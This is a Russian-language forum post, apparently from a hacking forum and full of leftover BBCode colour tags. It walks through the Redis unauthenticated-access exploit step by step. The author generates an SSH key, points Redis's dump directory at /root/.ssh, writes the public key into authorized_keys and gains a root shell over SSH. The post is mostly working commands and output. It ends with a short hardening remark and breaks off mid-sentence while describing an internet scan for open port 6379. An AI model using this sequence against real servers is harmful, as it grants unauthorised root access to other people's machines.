Логи сервера мне ничего не говорили о взломе, поэтому оставалось одно, гуглить адрес crack@redis.io. И оп, как раз 2 дня назад разработчик redis написал новость об этой уязвимости-фиче.
Я не буду писать все подробности, их можно посмотреть у источника http://antirez.com/news/96,я лишь расскажу как это можно(но не нужно!!!) эксплуатировать.
Представим, я купил сервер для теста этой баги и установил на него redis от рута. Допустим, IP моего сервера 192.168.20.20.
[COLOR="#000000"][COLOR="#0000BB"]192.168.2020[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6379[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]config set dir[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]/.[/COLOR][COLOR="#0000BB"]ssh OK [/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0.68s[/COLOR][COLOR="#007700"])[/COLOR][/COLOR]
Ух ты, мы смогли поменять папку для хранения базы редиса в /root/ директорию!
Давайте сделаем ключик у себя на машине
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]$>>[/COLOR][COLOR="#0000BB"]ssh[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]keygen[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]t rsa[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]C[/COLOR][COLOR="#DD0000"]"crack@redis.io" [/COLOR][COLOR="#0000BB"]Generating[/COLOR][COLOR="#007700"]public/private[/COLOR][COLOR="#0000BB"]rsa key pair[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#0000BB"]Enter file in which to save the key[/COLOR][COLOR="#007700"](/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]forum[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]xeksec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]com[/COLOR][COLOR="#007700"]/.[/COLOR][COLOR="#0000BB"]ssh[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]id_rsa[/COLOR][COLOR="#007700"]):./[/COLOR][COLOR="#0000BB"]id_rsa Enter passphrase[/COLOR][COLOR="#007700"](empty for[/COLOR][COLOR="#0000BB"]no passphrase[/COLOR][COLOR="#007700"]): [/COLOR][COLOR="#0000BB"]Enter same passphrase again[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]Your identification has been saved in[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]id_rsa[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#0000BB"]Your[/COLOR][COLOR="#007700"]public[/COLOR][COLOR="#0000BB"]key has been saved in[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]id_rsa[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]pub[/COLOR][COLOR="#007700"]. [/COLOR][COLOR="#0000BB"]The key fingerprint is[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]f0[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]a1[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]52[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]e9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0d[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]5f[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]e4[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]d9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]35[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]33[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]73[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]43[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]b4[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]c8[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]b9[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]27 crack[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]redis[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]io[/COLOR][/COLOR]
А теперь создадим наш небольшой exploit.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]$>[/COLOR][COLOR="#0000BB"]cat crack config set dir[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]root[/COLOR][COLOR="#007700"]/.[/COLOR][COLOR="#0000BB"]ssh config set dbfilename authorized_keys flushall set c[/COLOR][COLOR="#DD0000"]"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ crack@redis.io\n\n\n\n" [/COLOR][COLOR="#0000BB"]save[/COLOR][/COLOR]
Как вы понимаете, внутри файла находится наш публичный ключ который мы сгенерировали минуту назад (лежит в /home/forum.xeksec.com/.ssh/id_rsa.pub)
Выполним следующую команду:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]$>>[/COLOR][COLOR="#0000BB"]redis[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]cli[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]h 192.168.20.20[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]ssh[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]home[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]forum[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]xeksec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]com[/COLOR][COLOR="#007700"]/.[/COLOR][COLOR="#0000BB"]ssh[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]id_rsa[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]oStrictHostKeyChecking[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]no root[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]192.168.20.20 Last login[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Fri Jan 22 10[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]52[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]22 2015 from 192.168.1.1 root[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]xeksec2[/COLOR][COLOR="#007700"]~>>[/COLOR][/COLOR]
Порутали собственный сервер! Чума!
Всё дело в том, что нельзя оставлять открытым порт 6379 и нельзя использовать редис без логина пароля.
Ради интереса я проверил интернет на открытый порт 6379 командой